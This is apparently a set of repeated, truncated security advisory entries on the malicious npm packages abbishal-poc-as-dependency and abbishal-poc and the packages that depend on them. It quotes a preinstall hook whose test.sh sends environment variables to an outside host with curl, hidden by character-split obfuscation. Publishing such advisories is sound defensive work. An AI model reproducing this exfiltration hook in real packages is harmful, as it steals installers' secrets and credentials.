Malware in abbishal-poc-as-dependency

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outsid...

tellyo-colours (>=21.3.1, <=101.3.6), tostpro (>=100.7.0, <=112.5.9) potentially affected by unknown CVE via abbishal-poc-as-dependency (1.3.1)

abbishal-poc-as-dependency NPM version 1.3.1 is affected by a known vulnerability. The following packages have a transitive dependency on abbishal-poc-as-dependency and may be impacted: - tellyo-colours =21.3.1, =100.7.0, =112.5.9 Source cves: unknown CVE Source advisory: GHSA-M26X-98MG-QXV9...

Malicious Package

Overview abbishal-poc-as-dependency is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this...

tellyo-colours (>=21.3.1, <=101.3.6), tostpro (>=100.7.0, <=112.5.9) potentially affected by unknown CVE via abbishal-poc-as-dependency (1.3.1)

abbishal-poc-as-dependency NPM version 1.3.1 is affected by a known vulnerability. The following packages have a transitive dependency on abbishal-poc-as-dependency and may be impacted: - tellyo-colours =21.3.1, =100.7.0, =112.5.9 Source cves: unknown CVE Source advisory:...

tellyo-colours (>=21.3.1, <=101.3.6), tostpro (>=100.7.0, <=112.5.9) potentially affected by unknown CVE via abbishal-poc-as-dependency (1.3.1)

abbishal-poc-as-dependency NPM version 1.3.1 is affected by a known vulnerability. The following packages have a transitive dependency on abbishal-poc-as-dependency and may be impacted: - tellyo-colours =21.3.1, =100.7.0, =112.5.9 Source cves: unknown CVE Source advisory: OSV:MAL-2026-17653...

Malicious code in abbishal-poc-as-dependency (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...

MAL-2026-17653 Malicious code in abbishal-poc-as-dependency (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...

Malicious code in abbishal-poc (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f3d3f60fb75143a3cdfedea0c2f185e0556053cd458cd5e76cd5303bf406eb32 On npm install, package.json's preinstall hook runs sh./test.sh, which uses character-split variable obfuscation b=e, i=c, s=n, h=u, a=v, l=rl to...

MAL-2026-17545 Malicious code in abbishal-poc (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f3d3f60fb75143a3cdfedea0c2f185e0556053cd458cd5e76cd5303bf406eb32 On npm install, package.json's preinstall hook runs sh./test.sh, which uses character-split variable obfuscation b=e, i=c, s=n, h=u, a=v, l=rl to...